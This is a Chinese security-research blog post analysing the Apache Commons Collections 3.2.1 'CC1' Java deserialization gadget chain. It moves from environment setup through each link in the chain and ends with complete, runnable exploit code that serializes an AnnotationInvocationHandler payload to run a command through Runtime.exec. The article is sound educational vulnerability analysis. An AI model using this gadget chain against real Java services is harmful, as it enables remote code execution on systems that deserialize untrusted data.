CommonsCollections-CC1链分析

admin 2022年12月22日12:19:41代码审计评论8 views12262字阅读40分52秒阅读模式

CommonsCollections-CC1链分析

Collection


在Java的集合中,主要有两种类型的容器,一种是集合Collection,用来存储单个元素,一种是图Map,用来存储键值对。


像常用的ArrayList就是Collection接口的实现,而Collection接口下面提供了很多方法,用来对集合数据进行相关操作,如下示例。


public static void main(String[] args) {    // Collection之所以可以接收ArrayList,是因为ArrayList实现了Collection接口    Collection<String> coll = new ArrayList<>();    // 调用Collection的add方法来添加数据    coll.add("a");    // 调用Collection的iterator方法来创建一个遍历器    Iterator<String> iterator = coll.iterator();    // 通过遍历器遍历相关内容    while(iterator.hasNext()){        System.out.print(iterator.next());    }}


这里主要需要理解的就是Collection之所以可以接收ArrayList,是因为ArrayList实现了Collection接口,类图关系如下。


CommonsCollections-CC1链分析

Java本身的集合框架提供的相关操作方法不是很全面,于是Apache在原有的基础上进行了扩展,也就是CommonsCollections包。

CommonsCollections


CommonsCollections基于原有的Collection进行了扩展,分类更加全面,使得处理集合更加方便容易:


CommonsCollections-CC1链分析

上面是collections包结构,其中每个文件夹都包含了相关接口的实现类,例如第一个bag包,也是一个集合,可以返回集合中某个元素出现的次数,也可以进行元素去重,如下示例:


public static void main(String[] args) {    // bag也是一个集合    Bag bag = new HashBag();    // 像集合中添加元素,第二个参数存在的话,说明添加几个,下面是分别添加两个a    bag.add("a", 2);    // 没有第二个参数,只添加一个b    bag.add("b");    // getCount获取元素在集合中有几个,这里输出是2    System.out.println(bag.getCount("a"));    // uniqueSet将元素去重输出,这里是a,b    System.out.println(bag.uniqueSet());    ArrayList}


查看Bad接口发现其继承了Java的Collection接口,所以CommonsCollections是Collection的扩展。


CommonsCollections-CC1链分析

关于其它接口的使用可参考:

https://iowiki.com/commons_collections/commons_collections_index.html


环境准备


其实上面演示了Java本身自己的集合接口以及Apache扩展的集合接口,主要就是说明CC是Collection本身的扩展。


对于CC应用也很广泛,像Weblogic、JBoss、WebSphere、Jenkins都有使用,而CC本身是存在一些反序列化问题,本篇主要记录分析其中的一种,最早时候首次爆出的反序列化,所以也称为CC1,CC1需要有特定的版本环境,所以需要提前准备一下。


环境准备大概分为几块:1.8.0_65JDK,Idea设置,JDK源码设置,添加cc库。


先看第一个65JDK下载,下载地址如下:


https://www.oracle.com/hk/java/technologies/javase/javase8-archive-downloads.html


下载后进行安装,有了JDK后,再来设置Idea,我们需要创建一个Maven项目,创建时JDK选择刚才的65版本:


CommonsCollections-CC1链分析

下载后在项目的ProjectStructure中,把Modules下的Language level改为8,这里是语言等级的意思,其实就是指定JDK环境版本,需要和项目JDK一致,我们上面是1.8.0_65,这里就选择8这个大版本。(这里设置的是工程的JDK版本)


CommonsCollections-CC1链分析

还是ProjectStructure,到Project下,确保SDK是65版本,Language level是8.(这里是设置的项目的JDK版本)


CommonsCollections-CC1链分析

最后再到设置下的java编辑器处,确定下编译器的版本也是8,位置如下图。(这里设置的是编译器的版本)


CommonsCollections-CC1链分析

确定了工程、项目、编译器它们的JDK版本一致,后续项目运行才不会报错,如果报编译失败,可以对照上面三处确定是否同步。


Idea设置后,再来设置下JDK源码,JDK本身带有源码,在安装目录下有个src.zip文件,这就是源码,解压即可。


CommonsCollections-CC1链分析

但是我们回到项目,查看rt.jar包下的文件,都是java文件,但唯独sun包下是class文件,是编译的文件,并不是java源码,可以看到代码中都是一些var1,var2的变量,如果不是java文件的话,是不方便调试的。


CommonsCollections-CC1链分析

而之所以sun包不是java文件是因为JDK 安装目录中的 src.zip 仅仅是 Java 类库的源代码,其中没有包括 JDK 的源代码、Java 底层类库源代码、JVM 源代码,以及本地方法的源代码。需要这些源代码的话,要到 OpenJDK 上去下载 。


那么我们来看下JDK源代码怎么下载,首先下载地址是:https://hg.openjdk.java.net/


打开后找到自己要下载的版本,我们是8下的65次更新,所以这里是jdk8u。


CommonsCollections-CC1链分析

然后找到jdk8u下面的jdk连接,如下图:


CommonsCollections-CC1链分析

进入后会有很多的更新记录,我们要知道我们调试的那个漏洞修复时jdk进行了哪些改动,而我们cc1链利用修复时,JDK修改了annotationinvocationhandler这个文件,在右上角的搜索处搜索,得到相关分支:


CommonsCollections-CC1链分析

点进去看一下,发现第一条就是,修改了AnnotationInvocationHandler文件,去掉了默认的ReadObject,如下图。而这个显示修改的版本就是修复了的版本,我们要存在漏洞的,也就是上一版,所以是parents父版也就是上一版,点击parents进入父分支。


CommonsCollections-CC1链分析

然后点击左侧的压缩格式下载源代码即可。


CommonsCollections-CC1链分析

下载后,将src/share/classes目录下的sun包复制到JDK的src目录下即可。


CommonsCollections-CC1链分析

之后回到Idea,在ProjectStructure下的SDKs中,找到65那个JDK,在Sourcepath下把刚刚的src目录加进来。


CommonsCollections-CC1链分析

此时返回sun包,class就变成java文件了。最后一步,添加maven库,这里cc存在漏洞的是3.2.1版本:


<dependency>    <groupId>commons-collections</groupId>    <artifactId>commons-collections</artifactId>    <version>3.2.1</version></dependency>


至此环境就准备好了。


执行类查找


Maven导入cc库后,就可以查看其源代码了,按照常规的反序列化漏洞查找思路,我们首先要确定一个执行类,即链条走到最后总要有一个类来执行代码,而cc1的一个执行类在Transformer中。


我们这里就直接定位到该接口,查看Transformer接口如下:


CommonsCollections-CC1链分析

查看该接口的实现类,快捷键是Ctrl+Alt+B,按键在Navigate-Implementation(s),如下:


CommonsCollections-CC1链分析


而执行类所在的实现类是InvokerTransformer,进入该类,查看其相关方法,有一个transform方法,该方法接收一个对象,并通过反射去调用该对象指定的方法,是一个典型的执行类。


CommonsCollections-CC1链分析

这里可以先测试下该类,新建InvokerTransformer类,调用其transform方法,把Runtime传进去,去调用计算器,如下示例。


public class Test {    public static void main(String[] args) {
Runtime r = Runtime.getRuntime(); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r); }
}

链条查找


有了执行类,我们就根据此类像前查找,去查找调用该类的地方,来一步步完善链条。


首先在transform方法上右键选择Find Usages来查找该方法在哪些地方用到过,这里IDEA默认的范围可能只查找项目,不查找引入的包,这时需要点击设置,将Scope范围改为All Places。


CommonsCollections-CC1链分析

有21处调用了transform,其中有一处是map包下的TransformedMap类下的checkSetValue方法。该方法接收一个对象参数,给到transform执行,只不过这个transform是通过valueTransfomer调用的。


CommonsCollections-CC1链分析

那么这个valueTransformer是什么呢,我们向上查找,发现它在构造方法中赋了值,而这个构造方法是protected属性,也就意味着用来本类调用。


CommonsCollections-CC1链分析

那我们还在当前类查找,找到了decorate方法,该方法调用了有参构造。


CommonsCollections-CC1链分析

至此我们来看下到目前为止的流程,按上面的追溯过程,我们当前只要调用TransformeMap的decorate方法即可,该方法会调用有参构造实例化TransformeMap,然后调用其checkSetValue就能触发transformer来执行命令。


写个测试类如下:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object, Object> map = new HashMap<>();// 调用decorate,传入map,key和value,map这里建一个hashmap即可,key用不到传个null就行,value我们还是传入InvokerTransformer对象TransformedMap.decorate(map, null, invokerTransformer);


现在有个问题就是我们调用了decorate,也传入了InvokerTransformer对象,此时valueTransformer也有值了,可以通过checkSetValue来触发了,那么怎么去调用checkSetValue这个方法呢。


右键查看checkSetValue在哪里被使用,只有一处,就是setValue方法:


CommonsCollections-CC1链分析

这里的setValue是重写的父类的,也就是Map中的setValue,只不过重写后加上了checkSetValue的处理,它是在MapEntry静态类中,而这个类继承了AbstractMapEntryDecorator,我们跟进它可以发现它实现了Map.Entry。


CommonsCollections-CC1链分析

这个Map.Entry是一个Map下的接口类型,可以用来进行遍历,也是Map的一种遍历方式,我们通过entrySet方法可以把Map设置为entry形式,然后通过Map.Entry来遍历,使用方法的话,参考下面这个例子:


CommonsCollections-CC1链分析

我们现在回到最初的目的,我们最初是要找到可以触发checkSetValue的地方,然后发现了setValue方法,该方法继承于Map.Entry,是一个重写的方法,那么也就意味着我只要通过Map.Entry去遍历InvokerTransformer这个Map,然后调用setValue就可以。


那现在我们改下测试类,主要就是在前面的测试类上加了一个for循环:


public static void main(String[] args) {
Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>(); map.put("aaa", "bbb"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()){ entry.setValue(r); }
}


运行上面代码可以成功执行,上面流程如下图:


CommonsCollections-CC1链分析


流程走通了,但循环那里便于大家理解,这里再多说一点,就是transformedMap下并没有entrySet方法,那么它是怎么走到我们示例中的那个重写的setValue中的呢。


因为重写的setValue是在AbstractInputCheckedMapDecorator类下的,而我们的transformedMap是继承于该类的,所以实际上调用的是父类中重写的setValue。


CommonsCollections-CC1链分析


而重写的那个setValue是在静态类MapEntry中的,这个静态类是在什么时候触发的呢,是在调用entrySet方法时,这里就不追了,流程大概就是entrySet-EntrySet-iterator-EntrySetIterator-next-MapEntry-setValue。循环时会自动调用iterator遍历器以及next循环方法。


至此,我们的链条又完善了一步。


链首查找


上面测试最后是通过setValue去触发的,那么我们需要继续往前查找链条,直到找到链首,所谓链首,即重写了readObject方法,可以接收我们的对象,然后相互调用,最后到执行类。


我们还是查找setValue在哪里用到了,根据查找结果,特别巧,我们发现了一个readObject调用处,是jdk反射包下的AnnotationInvocationHandler文件,如下图。


CommonsCollections-CC1链分析

有了readObject,方法中也调用了setValue,那么可以当作链首,之前也有了链条,执行类也有了,就可以构造出一个反序列化问题,我们先按这个步骤写一些EXP,如下:


public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>(); map.put("aaa", "bbb"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); // 上面不变,还是之前的测试代码,只不过for循环去掉了,原本由for循环触发setValue,现在换成以下代码 // 思路就是通过构造方法实例化AnnotationInvocationHandler这个类,该类不能直接调用,因为默认作用域只允许该类或该类所在的包调用 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); // 这个有参构造第一个参数需要传入一个注解类,这里就直接把常用的重写注解传进去 Object o = constructor.newInstance(Override.class, transformedMap);
// 序列化和反序列方法之前文章写过,都是固定的,这里不贴了,去触发readObject serialize(o); unserialize("test.bin");
}


那么上面的代码是否能成功执行呢,答案是执行不了,因为很多条件未满足,经过查看,可以发现,存在几个问题。


第一,我们之前for循环是把Runtime对传给setValue的,而现在的readObject方法中的setValue接收的不是一个对象。


第二,原先的Runtime我们测试时是没有涉及到序列化操作的,因为测试的并非链首而是链条,没有设计到readObject操作,这里链首涉及到了,但Runtime对象我们查看源代码时发现,它并没有实现序列化接口,所以它不能直接进行序列化。


第三,我们查看AnnotationInvocationHandler类的readObject时,发现如果要执行到setValue,需要经过两层if才可以。


链首问题


但这三个问题都可以解决,我们先看Runtime不能序列化问题,我们发现Class类是实现了序列化接口的,那么我们可以把Runtime转换成Runtime.class。


public static void main(String[] args) throws Exception {    Class c = Runtime.class;    Method method = c.getMethod("getRuntime");    Runtime runtime = (Runtime) method.invoke(null, null);    Method run = c.getMethod("exec", String.class);    run.invoke(runtime, "calc");}


上面就是通过反射来获取Runtime,但上面代码不能直接放到EXP中,需要以InvokerTransformer的形式来写,毕竟Runtime是要当作参数传入的,其实还是反射,只不过这里不是以原生反射形式写,而是换成transformer那个函数来写,代码如下。


public static void main(String[] args) throws Exception {    Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);    Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);}


这里有个优化的写法,就是上面调用了三次transformer方法,而cc提供了一个ChainedTransformer类,该类有个transform方法,如果调用的方法都一样,那就把所有类按顺序传入,完事最后统一调用该方法。


CommonsCollections-CC1链分析

优化后写法如下:


Transformer[] transformers = new Transformer[]{        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class);


至此,贴下完整代码先看下:


package com.afa.test;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;
import java.io.*;import java.lang.reflect.Constructor;import java.util.*;

public class Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("aaa", "bbb"); // 原先这里传入的InvokerTransformer,现在换成chainedTransformer Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Override.class, transformedMap);
serialize(o); unserialize("test.bin");
}
public static void serialize(Object obj) throws IOException, IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }


此时是运行不了的,问题还没有解决完,这里可以把断点下到setValue外面的if语句上,发现memberType为空,走不到if中。


CommonsCollections-CC1链分析

下面来分析下这个if语句,如下图,主要意思就是通过AnnotationType.getInstance先获取个实例,根据调试信息也可以看出来,这个实例是Override,也就是我们测试用例中传入的注解类,然后通过memberTypes获取其成员变量,完事通过成员变量调用get方法进行获取。


这个get方法需要传入一个name,这个name即memberValue.getKey获取来的,也就是键值对那个值所对应的key,所以这里要走通,我们put那里的键需要和注解类的成员变量名一致才行。


CommonsCollections-CC1链分析


而memberTypes跟进该方法查看,根据注释可以看到该方法主要用户获取成员变量。


CommonsCollections-CC1链分析


那么Override这个注解类为什么成员变量是空呢,跟进查看,可以看到并没有成员变量。


CommonsCollections-CC1链分析

那我们换一个试试,Override注解本身使用了Target和Retention注解,这两个注解都有成员变量,所以用那个都行,比如Retention,有一个value变量.


CommonsCollections-CC1链分析

那我们把测试用例中的代码换成Retention,put那的键名换成value再试。


CommonsCollections-CC1链分析

再调试,可以看到已经有值了。


CommonsCollections-CC1链分析

走到了第二个if,主要是isInstance,这个方法简单理解就是是否是指定类的实例,例如a.isInstance(b)就是判断b是否是a的实例。这里value是bbb,肯定不是,所以是false,false加false所以可以进入if,走到setValue中。


现在就剩最后一个问题,即setValue中新建的那个一长串的对象是否可控,如果可控,那么就形成了反序列化问题。


很幸运,它是可控的,我们需要借助一个叫做ConstantTransformer的类来改变我们的传参。


查看该类,它有一个transform方法,它是这么写的:


CommonsCollections-CC1链分析

根据介绍,该方法可以传入一个没用的对象,完事给你返回一个常量,这个iConstant常量定义如下:


CommonsCollections-CC1链分析

那这个常量是什么呢,它在构造方法中有定义,即传入一个对象,赋值给常量。


CommonsCollections-CC1链分析

通过上面的分析,我们可以做什么呢,我们可以实例化ConstantTransformer,然后传入一个对象进去,比如Runtime,然后调用它的transform方法,调用时传入什么都可以,最后返回的是Runtime。


此时整个链条就完善了,我们setValue虽然传入的是那一长串,看似不可控,但是在执行transform链条时,我们可以把ConstantTransformer加进去,这时不管你传什么,我都返回Runtime,最后导致命令执行。


在原有的EXP上添加如下代码:


Transformer[] transformers = new Transformer[]{    // 新加此行,setValue执行,链条走到transform时,无论传入的是什么,都返回Runtime    new ConstantTransformer(Runtime.class),    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};


至此就全部都完成了,链条如下:


ObjectInputStream.readObject()  AnnotationInvocationHandler.readObject()    TransformedMap.decorate()    TransformedMap.entrySet()      AbstractInputCheckedMapDecorator.entrySet()      AbstractInputCheckedMapDecorator.setValue()      TransformedMap.checkSetValue()        ChainedTransformer.transform()          ConstantTransformer.transform()          InvokerTransformer.transform()            Method.invoke()              Class.getMethod()          InvokerTransformer.transform()            Method.invoke()            Runtime.getRuntime()          InvokerTransformer.transform()            Method.invoke()            Runtime.exec()


我们发现和ysoserial中的稍微有点区别,中间路径是不一样的,这里就不再看了,感兴趣可以去看下它的写法。


最后总结流程图如下:


CommonsCollections-CC1链分析


总结


感谢阅读,祝愿大家每天健康、开心。

原文始发于微信公众号(aFa攻防实验室):CommonsCollections-CC1链分析

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月22日12:19:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  CommonsCollections-CC1链分析 https://cn-sec.com/archives/1476436.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: